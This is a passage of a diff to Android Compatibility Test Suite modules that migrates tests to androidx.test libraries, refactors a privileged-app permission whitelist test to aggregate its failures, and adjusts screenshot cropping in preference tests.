 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-	compatibility-device-util \
-	ctstestrunner
+	compatibility-device-util-axt \
+	ctstestrunner-axt \
+	guava
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/permission2/AndroidManifest.xml b/tests/tests/permission2/AndroidManifest.xml
index 9b2c966..065c0b4 100755
--- a/tests/tests/permission2/AndroidManifest.xml
+++ b/tests/tests/permission2/AndroidManifest.xml
@@ -64,7 +64,7 @@
             android:name="android.permission.ACCESS_NETWORK_STATE"
             android:maxSdkVersion="9000"/>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.permission2.cts"
                      android:label="More CTS tests for permissions">
         <meta-data android:name="listener"
diff --git a/tests/tests/permission2/src/android/permission2/cts/PrivappPermissionsTest.java b/tests/tests/permission2/src/android/permission2/cts/PrivappPermissionsTest.java
index 585f9c6..6179768 100644
--- a/tests/tests/permission2/src/android/permission2/cts/PrivappPermissionsTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/PrivappPermissionsTest.java
@@ -16,27 +16,40 @@
 
 package android.permission2.cts;
 
-import com.android.compatibility.common.util.SystemUtil;
+import static android.content.pm.PackageInfo.REQUESTED_PERMISSION_GRANTED;
+import static android.content.pm.PackageManager.GET_PERMISSIONS;
+import static android.content.pm.PackageManager.MATCH_FACTORY_ONLY;
+import static android.content.pm.PackageManager.MATCH_UNINSTALLED_PACKAGES;
+
+import static com.google.common.collect.Maps.filterValues;
+import static com.google.common.collect.Sets.difference;
+import static com.google.common.collect.Sets.intersection;
+import static com.google.common.collect.Sets.newHashSet;
 
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
 import android.content.pm.PermissionInfo;
-import android.support.test.InstrumentationRegistry;
 import android.test.AndroidTestCase;
+import android.text.TextUtils;
+import android.util.ArrayMap;
 import android.util.Log;
 
+import androidx.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.SystemUtil;
+
 import java.io.IOException;
 import java.util.Arrays;
 import java.util.Collections;
+import java.util.Comparator;
+import java.util.HashMap;
 import java.util.HashSet;
 import java.util.LinkedHashSet;
 import java.util.List;
+import java.util.Map;
 import java.util.Set;
 import java.util.TreeSet;
 
-import static android.content.pm.PackageManager.GET_PERMISSIONS;
-import static android.content.pm.PackageManager.MATCH_FACTORY_ONLY;
-
 /**
  * Tests enforcement of signature|privileged permission whitelist:
  * <ul>
@@ -65,8 +78,11 @@
         }
 
         List<PackageInfo> installedPackages = pm
-                .getInstalledPackages(PackageManager.MATCH_UNINSTALLED_PACKAGES);
+                .getInstalledPackages(MATCH_UNINSTALLED_PACKAGES | GET_PERMISSIONS);
+        installedPackages.sort(Comparator.comparing(p -> p.packageName));
 
+        Map<String, Set<String>> packagesGrantedNotInWhitelist = new HashMap<>();
+        Map<String, Set<String>> packagesNotGrantedNotRemovedNotInDenylist = new HashMap<>();
         for (PackageInfo pkg : installedPackages) {
             String packageName = pkg.packageName;
             if (!pkg.applicationInfo.isPrivilegedApp()
@@ -74,57 +90,117 @@
                 continue;
             }
 
-            Set<String> requestedPrivPermissions = new TreeSet<>();
-            Set<String> grantedPrivPermissions = new TreeSet<>();
-            PackageInfo factoryPackageInfo = pm
-                    .getPackageInfo(packageName, MATCH_FACTORY_ONLY | GET_PERMISSIONS);
+            PackageInfo factoryPkg = pm
+                    .getPackageInfo(packageName, MATCH_FACTORY_ONLY | GET_PERMISSIONS
+                        | MATCH_UNINSTALLED_PACKAGES);
 
-            assertNotNull("No system image version found for " + packageName, factoryPackageInfo);
-            String[] requestedPermissions = factoryPackageInfo.requestedPermissions;
-            int[] requestedPermissionsFlags = factoryPackageInfo.requestedPermissionsFlags;
+            assertNotNull("No system image version found for " + packageName, factoryPkg);
 
-            if (requestedPermissions == null || requestedPermissions.length == 0) {
-                continue;
+            Set<String> factoryRequestedPrivPermissions;
+            if (factoryPkg.requestedPermissions == null) {
+                factoryRequestedPrivPermissions = Collections.emptySet();
+            } else {
+                factoryRequestedPrivPermissions = intersection(
+                        newHashSet(factoryPkg.requestedPermissions), platformPrivPermissions);
             }
-            // Collect 2 sets: requestedPermissions and grantedPrivPermissions
-            for (int i = 0; i < requestedPermissions.length; i++) {
-                String permission = requestedPermissions[i];
-                if (platformPrivPermissions.contains(permission)) {
-                    requestedPrivPermissions.add(permission);
-                    if ((requestedPermissionsFlags[i]
-                            & PackageInfo.REQUESTED_PERMISSION_GRANTED) != 0) {
-                        grantedPrivPermissions.add(permission);
+
+            Map<String, Boolean> requestedPrivPermissions = new ArrayMap<>();
+            if (pkg.requestedPermissions != null) {
+                for (int i = 0; i < pkg.requestedPermissions.length; i++) {
+                    String permission = pkg.requestedPermissions[i];
+                    if (platformPrivPermissions.contains(permission)) {
+                        requestedPrivPermissions.put(permission,
+                                (pkg.requestedPermissionsFlags[i] & REQUESTED_PERMISSION_GRANTED)
+                                        != 0);
                     }
                 }
             }
+
             // If an app is requesting any privileged permissions, log the details and verify
             // that granted permissions are whitelisted
-            if (!requestedPrivPermissions.isEmpty()) {
-                Set<String> notGranted = new TreeSet<>(requestedPrivPermissions);
-                notGranted.removeAll(grantedPrivPermissions);
+            if (!factoryRequestedPrivPermissions.isEmpty() && !requestedPrivPermissions.isEmpty()) {
+                Set<String> granted = filterValues(requestedPrivPermissions,
+                        isGranted -> isGranted).keySet();
+
+                Set<String> factoryNotGranted = difference(factoryRequestedPrivPermissions,
+                        granted);
+
+                // priv permissions that the system package requested, but the current package not
+                // anymore
+                Set<String> removed = difference(factoryRequestedPrivPermissions,
+                        requestedPrivPermissions.keySet());
+
                 Set<String> whitelist = getPrivAppPermissions(packageName);
                 Set<String> denylist = getPrivAppDenyPermissions(packageName);
-                Log.i(TAG, "Application " + packageName + "."
-                        + " Requested permissions: " + requestedPrivPermissions + "."
-                        + " Granted permissions: " + grantedPrivPermissions + "."
-                        + " Not granted: " + notGranted + "."
-                        + " Whitelisted: " + whitelist + "."
-                        + " Denylisted: " + denylist);
+                String msg = "Application " + packageName + "\n"
+                        + "  Factory requested permissions:\n"
+                        + getPrintableSet("    ", factoryRequestedPrivPermissions)
+                        + "  Granted:\n"
+                        + getPrintableSet("    ", granted)
+                        + "  Removed:\n"
+                        + getPrintableSet("    ", removed)
+                        + "  Whitelisted:\n"
+                        + getPrintableSet("    ", whitelist)
+                        + "  Denylisted:\n"
+                        + getPrintableSet("    ", denylist)
+                        + "  Factory not granted:\n"
+                        + getPrintableSet("    ", factoryNotGranted);
 
-                Set<String> grantedNotInWhitelist = new TreeSet<>(grantedPrivPermissions);
-                grantedNotInWhitelist.removeAll(whitelist);
-                Set<String> notGrantedNotInDenylist = new TreeSet<>(notGranted);
-                notGrantedNotInDenylist.removeAll(denylist);
+                for (String line : msg.split("\n")) {
+                    Log.i(TAG, line);
 
-                assertTrue("Not whitelisted permissions are granted for package "
-                                + packageName + ": " + grantedNotInWhitelist,
-                        grantedNotInWhitelist.isEmpty());
+                    // Prevent log from truncating output
+                    Thread.sleep(10);
+                }
 
-                assertTrue("Requested permissions not granted for package "
-                                + packageName + ": " + notGrantedNotInDenylist,
-                        notGrantedNotInDenylist.isEmpty());
+                Set<String> grantedNotInWhitelist = difference(granted, whitelist);
+                Set<String> factoryNotGrantedNotRemovedNotInDenylist = difference(difference(
+                        factoryNotGranted, removed), denylist);
+
+                if (!grantedNotInWhitelist.isEmpty()) {
+                    packagesGrantedNotInWhitelist.put(packageName, grantedNotInWhitelist);
+                }
+
+                if (!factoryNotGrantedNotRemovedNotInDenylist.isEmpty()) {
+                    packagesNotGrantedNotRemovedNotInDenylist.put(packageName,
+                            factoryNotGrantedNotRemovedNotInDenylist);
+                }
             }
         }
+        StringBuilder message = new StringBuilder();
+        if (!packagesGrantedNotInWhitelist.isEmpty()) {
+            message.append("Not whitelisted permissions are granted: "
+                    + packagesGrantedNotInWhitelist.toString());
+        }
+        if (!packagesNotGrantedNotRemovedNotInDenylist.isEmpty()) {
+            if (message.length() != 0) {
+                message.append(", ");
+            }
+            message.append("Requested permissions not granted: "
+                    + packagesNotGrantedNotRemovedNotInDenylist.toString());
+        }
+        if (!packagesGrantedNotInWhitelist.isEmpty()
+                || !packagesNotGrantedNotRemovedNotInDenylist.isEmpty()) {
+            fail(message.toString());
+        }
+    }
+
+    private <T> String getPrintableSet(String indendation, Set<T> set) {
+        if (set.isEmpty()) {
+            return "";
+        }
+
+        StringBuilder sb = new StringBuilder();
+
+        for (T e : new TreeSet<>(set)) {
+            if (!TextUtils.isEmpty(e.toString().trim())) {
+                sb.append(indendation);
+                sb.append(e);
+                sb.append("\n");
+            }
+        }
+
+        return sb.toString();
     }
 
     private Set<String> getPrivAppPermissions(String packageName) throws IOException {
diff --git a/tests/tests/preference/Android.mk b/tests/tests/preference/Android.mk
index 5398722..8791cff 100644
--- a/tests/tests/preference/Android.mk
+++ b/tests/tests/preference/Android.mk
@@ -23,7 +23,7 @@
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt
 
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
 
diff --git a/tests/tests/preference/AndroidManifest.xml b/tests/tests/preference/AndroidManifest.xml
index b0a60ed..d35e3ef 100644
--- a/tests/tests/preference/AndroidManifest.xml
+++ b/tests/tests/preference/AndroidManifest.xml
@@ -28,7 +28,7 @@
         </activity>
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.preference.cts"
                      android:label="CTS tests of android.preference">
         <meta-data android:name="listener"
diff --git a/tests/tests/preference2/Android.mk b/tests/tests/preference2/Android.mk
index 8fc5ee2..ca018ea 100644
--- a/tests/tests/preference2/Android.mk
+++ b/tests/tests/preference2/Android.mk
@@ -26,8 +26,8 @@
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner \
-    compatibility-device-util \
+    ctstestrunner-axt \
+    compatibility-device-util-axt \
     mockito-target-minus-junit4 \
     ub-uiautomator
 
diff --git a/tests/tests/preference2/AndroidManifest.xml b/tests/tests/preference2/AndroidManifest.xml
index e6929c3..312b870 100644
--- a/tests/tests/preference2/AndroidManifest.xml
+++ b/tests/tests/preference2/AndroidManifest.xml
@@ -46,7 +46,7 @@
     </application>
 
     <!-- This is a self-instrumenting test package. -->
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.preference2.cts"
                      android:label="CTS Test Cases for android.preference2">
         <meta-data android:name="listener"
diff --git a/tests/tests/preference2/src/android/preference2/cts/PreferenceActivityFlowLandscapeTest.java b/tests/tests/preference2/src/android/preference2/cts/PreferenceActivityFlowLandscapeTest.java
index e0f387b..decafbe 100644
--- a/tests/tests/preference2/src/android/preference2/cts/PreferenceActivityFlowLandscapeTest.java
+++ b/tests/tests/preference2/src/android/preference2/cts/PreferenceActivityFlowLandscapeTest.java
@@ -17,10 +17,11 @@
 package android.preference2.cts;
 
 import android.content.Intent;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.LargeTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
 import org.junit.Rule;
diff --git a/tests/tests/preference2/src/android/preference2/cts/PreferenceActivityFlowPortraitTest.java b/tests/tests/preference2/src/android/preference2/cts/PreferenceActivityFlowPortraitTest.java
index 6b484bd..160141c 100644
--- a/tests/tests/preference2/src/android/preference2/cts/PreferenceActivityFlowPortraitTest.java
+++ b/tests/tests/preference2/src/android/preference2/cts/PreferenceActivityFlowPortraitTest.java
@@ -17,14 +17,16 @@
 package android.preference2.cts;
 
 import static android.content.pm.PackageManager.FEATURE_LEANBACK;
+
 import static org.junit.Assume.assumeFalse;
 
 import android.content.Intent;
 import android.content.pm.PackageManager;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.LargeTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
 import org.junit.Rule;
diff --git a/tests/tests/preference2/src/android/preference2/cts/PreferenceActivityLegacyFlowTest.java b/tests/tests/preference2/src/android/preference2/cts/PreferenceActivityLegacyFlowTest.java
index b3d8b8d..c80eb19 100644
--- a/tests/tests/preference2/src/android/preference2/cts/PreferenceActivityLegacyFlowTest.java
+++ b/tests/tests/preference2/src/android/preference2/cts/PreferenceActivityLegacyFlowTest.java
@@ -20,9 +20,10 @@
 
 import android.graphics.Bitmap;
 import android.os.SystemClock;
-import android.support.test.filters.LargeTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.BitmapUtils;
 
diff --git a/tests/tests/preference2/src/android/preference2/cts/PreferenceDataStoreTest.java b/tests/tests/preference2/src/android/preference2/cts/PreferenceDataStoreTest.java
index cc93b44..961362c 100644
--- a/tests/tests/preference2/src/android/preference2/cts/PreferenceDataStoreTest.java
+++ b/tests/tests/preference2/src/android/preference2/cts/PreferenceDataStoreTest.java
@@ -45,9 +45,10 @@
 import android.preference.PreferenceDataStore;
 import android.preference.PreferenceManager;
 import android.preference.PreferenceScreen;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
 import org.junit.Rule;
diff --git a/tests/tests/preference2/src/android/preference2/cts/PreferenceParentGroupTest.java b/tests/tests/preference2/src/android/preference2/cts/PreferenceParentGroupTest.java
index a645dc8..85901c3 100644
--- a/tests/tests/preference2/src/android/preference2/cts/PreferenceParentGroupTest.java
+++ b/tests/tests/preference2/src/android/preference2/cts/PreferenceParentGroupTest.java
@@ -23,11 +23,12 @@
 import android.preference.CheckBoxPreference;
 import android.preference.PreferenceCategory;
 import android.preference.PreferenceScreen;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.test.UiThreadTest;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/preference2/src/android/preference2/cts/PreferenceRecycleTest.java b/tests/tests/preference2/src/android/preference2/cts/PreferenceRecycleTest.java
index 2ff651c..e9a9c7e 100644
--- a/tests/tests/preference2/src/android/preference2/cts/PreferenceRecycleTest.java
+++ b/tests/tests/preference2/src/android/preference2/cts/PreferenceRecycleTest.java
@@ -22,11 +22,12 @@
 
 import android.preference.Preference;
 import android.preference.PreferenceScreen;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.test.UiThreadTest;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.PollingCheck;
 
 import org.junit.Before;
diff --git a/tests/tests/preference2/src/android/preference2/cts/TestUtils.java b/tests/tests/preference2/src/android/preference2/cts/TestUtils.java
index e00e658..8e6cef5 100644
--- a/tests/tests/preference2/src/android/preference2/cts/TestUtils.java
+++ b/tests/tests/preference2/src/android/preference2/cts/TestUtils.java
@@ -24,13 +24,14 @@
 import android.content.res.Configuration;
 import android.graphics.Bitmap;
 import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiObject;
 import android.support.test.uiautomator.UiObjectNotFoundException;
 import android.support.test.uiautomator.UiScrollable;
 import android.support.test.uiautomator.UiSelector;
 
+import androidx.test.InstrumentationRegistry;
+
 import com.android.compatibility.common.util.SystemUtil;
 
 import java.io.IOException;
@@ -69,10 +70,16 @@
         // Crop the right side for scrollbar which might or might not be visible. On wearable
         // devices the scroll bar is a curve and occupies 20% of the right side.
         int xToCut = isOnWatchUiMode() ? bt.getWidth() / 5 : bt.getWidth() / 20;
+        int yToCut = statusBarHeight;
+
+        if (isLandscape()) {
+            xToCut += navigationBarHeight;
+        } else {
+            yToCut += navigationBarHeight;
+        }
 
         bt = Bitmap.createBitmap(
-                bt, 0, statusBarHeight, bt.getWidth() - xToCut,
-                bt.getHeight() - statusBarHeight - navigationBarHeight);
+                bt, 0, statusBarHeight, bt.getWidth() - xToCut, bt.getHeight() - yToCut);
 
         return bt;
     }
@@ -240,4 +247,9 @@
             throw new RuntimeException("Failed to run command: " + cmd, e);
         }
     }
+
+    private boolean isLandscape() {
+        return mInstrumentation.getTargetContext().getResources().getConfiguration().orientation ==
+                Configuration.ORIENTATION_LANDSCAPE;
+    }
 }
diff --git a/tests/tests/print/AndroidManifest.xml b/tests/tests/print/AndroidManifest.xml
index c99fec3..b3c3f59 100644
--- a/tests/tests/print/AndroidManifest.xml
+++ b/tests/tests/print/AndroidManifest.xml
@@ -81,7 +81,7 @@
 
   </application>
 
-  <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+  <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
           android:targetPackage="android.print.cts"
           android:label="Tests for the print APIs."/>
 
diff --git a/tests/tests/print/printTestUtilLib/Android.mk b/tests/tests/print/printTestUtilLib/Android.mk
index 358861b..49c4791 100644
--- a/tests/tests/print/printTestUtilLib/Android.mk
+++ b/tests/tests/print/printTestUtilLib/Android.mk
@@ -22,7 +22,7 @@
 
 LOCAL_MODULE := print-test-util-lib
 
-LOCAL_STATIC_JAVA_LIBRARIES := mockito-target-minus-junit4 ctstestrunner ub-uiautomator compatibility-device-util android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := mockito-target-minus-junit4 ctstestrunner-axt ub-uiautomator compatibility-device-util-axt androidx.test.rules
 
 LOCAL_SDK_VERSION := test_current
 
diff --git a/tests/tests/print/printTestUtilLib/src/android/print/test/BasePrintTest.java b/tests/tests/print/printTestUtilLib/src/android/print/test/BasePrintTest.java
index 5c40dfc..f4a50d3 100755
--- a/tests/tests/print/printTestUtilLib/src/android/print/test/BasePrintTest.java
+++ b/tests/tests/print/printTestUtilLib/src/android/print/test/BasePrintTest.java
@@ -60,7 +60,6 @@
 import android.printservice.CustomPrinterIconCallback;
 import android.printservice.PrintJob;
 import android.provider.Settings;
-import android.support.test.InstrumentationRegistry;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiObject;
@@ -71,6 +70,7 @@
 
 import androidx.annotation.NonNull;
 import androidx.annotation.Nullable;
+import androidx.test.InstrumentationRegistry;
 
 import com.android.compatibility.common.util.SystemUtil;
 
diff --git a/tests/tests/print/src/android/print/cts/ClassParametersTest.java b/tests/tests/print/src/android/print/cts/ClassParametersTest.java
index a5e5d49..47d3f8d 100644
--- a/tests/tests/print/src/android/print/cts/ClassParametersTest.java
+++ b/tests/tests/print/src/android/print/cts/ClassParametersTest.java
@@ -26,7 +26,8 @@
 import android.print.PrintAttributes.MediaSize;
 import android.print.PrintAttributes.Resolution;
 import android.print.PrintDocumentInfo;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/print/src/android/print/cts/CustomPrintOptionsTest.java b/tests/tests/print/src/android/print/cts/CustomPrintOptionsTest.java
index 0f061f7..60c6210 100644
--- a/tests/tests/print/src/android/print/cts/CustomPrintOptionsTest.java
+++ b/tests/tests/print/src/android/print/cts/CustomPrintOptionsTest.java
@@ -40,13 +40,14 @@
 import android.print.test.services.PrinterDiscoverySessionCallbacks;
 import android.print.test.services.SecondPrintService;
 import android.print.test.services.StubbablePrinterDiscoverySession;
-import android.support.test.runner.AndroidJUnit4;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.UiObject;
 import android.support.test.uiautomator.UiObjectNotFoundException;
 import android.support.test.uiautomator.UiSelector;
 import android.util.Log;
 
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/print/src/android/print/cts/InterfaceForAppsTest.java b/tests/tests/print/src/android/print/cts/InterfaceForAppsTest.java
index 8ec44fe..6254048 100644
--- a/tests/tests/print/src/android/print/cts/InterfaceForAppsTest.java
+++ b/tests/tests/print/src/android/print/cts/InterfaceForAppsTest.java
@@ -37,10 +37,10 @@
 import android.print.test.services.PrinterDiscoverySessionCallbacks;
 import android.print.test.services.SecondPrintService;
 import android.print.test.services.StubbablePrinterDiscoverySession;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 
 import androidx.annotation.NonNull;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
 import org.junit.Test;
diff --git a/tests/tests/print/src/android/print/cts/PageRangeAdjustmentTest.java b/tests/tests/print/src/android/print/cts/PageRangeAdjustmentTest.java
index c1abafc..4a9e7af 100644
--- a/tests/tests/print/src/android/print/cts/PageRangeAdjustmentTest.java
+++ b/tests/tests/print/src/android/print/cts/PageRangeAdjustmentTest.java
@@ -44,7 +44,8 @@
 import android.print.test.services.StubbablePrinterDiscoverySession;
 import android.printservice.PrintJob;
 import android.printservice.PrintService;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
 import org.junit.Test;
diff --git a/tests/tests/print/src/android/print/cts/PrintAttributesTest.java b/tests/tests/print/src/android/print/cts/PrintAttributesTest.java
index 7661ff9..eaf5991 100644
--- a/tests/tests/print/src/android/print/cts/PrintAttributesTest.java
+++ b/tests/tests/print/src/android/print/cts/PrintAttributesTest.java
@@ -38,9 +38,10 @@
 import android.print.test.services.SecondPrintService;
 import android.print.test.services.StubbablePrinterDiscoverySession;
 import android.printservice.PrintJob;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/print/src/android/print/cts/PrintDocumentAdapterContractTest.java b/tests/tests/print/src/android/print/cts/PrintDocumentAdapterContractTest.java
index 706f971..23ae620 100644
--- a/tests/tests/print/src/android/print/cts/PrintDocumentAdapterContractTest.java
+++ b/tests/tests/print/src/android/print/cts/PrintDocumentAdapterContractTest.java
@@ -44,9 +44,10 @@
 import android.print.test.services.StubbablePrinterDiscoverySession;
 import android.printservice.PrintJob;
 import android.printservice.PrintService;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/print/src/android/print/cts/PrintDocumentInfoTest.java b/tests/tests/print/src/android/print/cts/PrintDocumentInfoTest.java
index 63e83e3..298d48f 100644
--- a/tests/tests/print/src/android/print/cts/PrintDocumentInfoTest.java
+++ b/tests/tests/print/src/android/print/cts/PrintDocumentInfoTest.java
@@ -42,7 +42,8 @@
 import android.print.test.services.StubbablePrinterDiscoverySession;
 import android.printservice.PrintJob;
 import android.printservice.PrintService;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
 import org.junit.Test;
diff --git a/tests/tests/print/src/android/print/cts/PrintJobTest.java b/tests/tests/print/src/android/print/cts/PrintJobTest.java
index 2ab52b3..145b835 100644
--- a/tests/tests/print/src/android/print/cts/PrintJobTest.java
+++ b/tests/tests/print/src/android/print/cts/PrintJobTest.java
@@ -43,7 +43,8 @@
 import android.print.test.services.SecondPrintService;
 import android.print.test.services.StubbablePrinterDiscoverySession;
 import android.printservice.PrintJob;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
 import org.junit.Test;
diff --git a/tests/tests/print/src/android/print/cts/PrintServicesTest.java b/tests/tests/print/src/android/print/cts/PrintServicesTest.java
index b5a23e2..53c72ee 100644
--- a/tests/tests/print/src/android/print/cts/PrintServicesTest.java
+++ b/tests/tests/print/src/android/print/cts/PrintServicesTest.java
@@ -59,11 +59,12 @@
 import android.printservice.CustomPrinterIconCallback;
 import android.printservice.PrintJob;
 import android.printservice.PrintService;
-import android.support.test.runner.AndroidJUnit4;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiObject;
 import android.support.test.uiautomator.UiSelector;
 
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/print/src/android/print/cts/PrinterCapabilitiesTest.java b/tests/tests/print/src/android/print/cts/PrinterCapabilitiesTest.java
index 3954948..433b32d 100644
--- a/tests/tests/print/src/android/print/cts/PrinterCapabilitiesTest.java
+++ b/tests/tests/print/src/android/print/cts/PrinterCapabilitiesTest.java
@@ -40,7 +40,8 @@
 import android.print.test.services.PrinterDiscoverySessionCallbacks;
 import android.print.test.services.SecondPrintService;
 import android.print.test.services.StubbablePrinterDiscoverySession;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/print/src/android/print/cts/PrinterDiscoverySessionLifecycleTest.java b/tests/tests/print/src/android/print/cts/PrinterDiscoverySessionLifecycleTest.java
index 2531f80..5580cda 100644
--- a/tests/tests/print/src/android/print/cts/PrinterDiscoverySessionLifecycleTest.java
+++ b/tests/tests/print/src/android/print/cts/PrinterDiscoverySessionLifecycleTest.java
@@ -41,11 +41,12 @@
 import android.print.test.services.StubbablePrinterDiscoverySession;
 import android.printservice.PrintJob;
 import android.printservice.PrinterDiscoverySession;
-import androidx.annotation.NonNull;
-import android.support.test.runner.AndroidJUnit4;
 import android.support.test.uiautomator.UiObject;
 import android.support.test.uiautomator.UiSelector;
 
+import androidx.annotation.NonNull;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/print/src/android/print/cts/PrinterInfoTest.java b/tests/tests/print/src/android/print/cts/PrinterInfoTest.java
index 6a65e00..6e67dee 100644
--- a/tests/tests/print/src/android/print/cts/PrinterInfoTest.java
+++ b/tests/tests/print/src/android/print/cts/PrinterInfoTest.java
@@ -33,11 +33,12 @@
 import android.print.test.services.PrinterDiscoverySessionCallbacks;
 import android.print.test.services.SecondPrintService;
 import android.print.test.services.StubbablePrinterDiscoverySession;
-import android.support.test.runner.AndroidJUnit4;
 import android.support.test.uiautomator.UiObject;
 import android.support.test.uiautomator.UiSelector;
 import android.text.TextUtils;
 
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/print/src/android/print/pdf/cts/PrintedPdfDocumentTest.java b/tests/tests/print/src/android/print/pdf/cts/PrintedPdfDocumentTest.java
index 4c2b369..d758439 100644
--- a/tests/tests/print/src/android/print/pdf/cts/PrintedPdfDocumentTest.java
+++ b/tests/tests/print/src/android/print/pdf/cts/PrintedPdfDocumentTest.java
@@ -25,8 +25,9 @@
 import android.graphics.pdf.PdfDocument;
 import android.print.PrintAttributes;
 import android.print.pdf.PrintedPdfDocument;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.BeforeClass;
 import org.junit.Test;
diff --git a/tests/tests/proto/Android.mk b/tests/tests/proto/Android.mk
index 595df7c..e937e0c 100644
--- a/tests/tests/proto/Android.mk
+++ b/tests/tests/proto/Android.mk
@@ -37,6 +37,6 @@
 LOCAL_JAVA_LIBRARIES += android.test.runner.stubs
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-        ctstestrunner
+        ctstestrunner-axt
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/proto/AndroidManifest.xml b/tests/tests/proto/AndroidManifest.xml
index b8af5d0..20897cc 100644
--- a/tests/tests/proto/AndroidManifest.xml
+++ b/tests/tests/proto/AndroidManifest.xml
@@ -25,7 +25,7 @@
 
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.util.proto.cts"
                      android:label="CTS tests of android.util.proto">
         <meta-data android:name="listener"
diff --git a/tests/tests/provider/Android.mk b/tests/tests/provider/Android.mk
index 400f0d2..005f076 100644
--- a/tests/tests/provider/Android.mk
+++ b/tests/tests/provider/Android.mk
@@ -33,8 +33,8 @@
 LOCAL_USE_AAPT2 := true
 
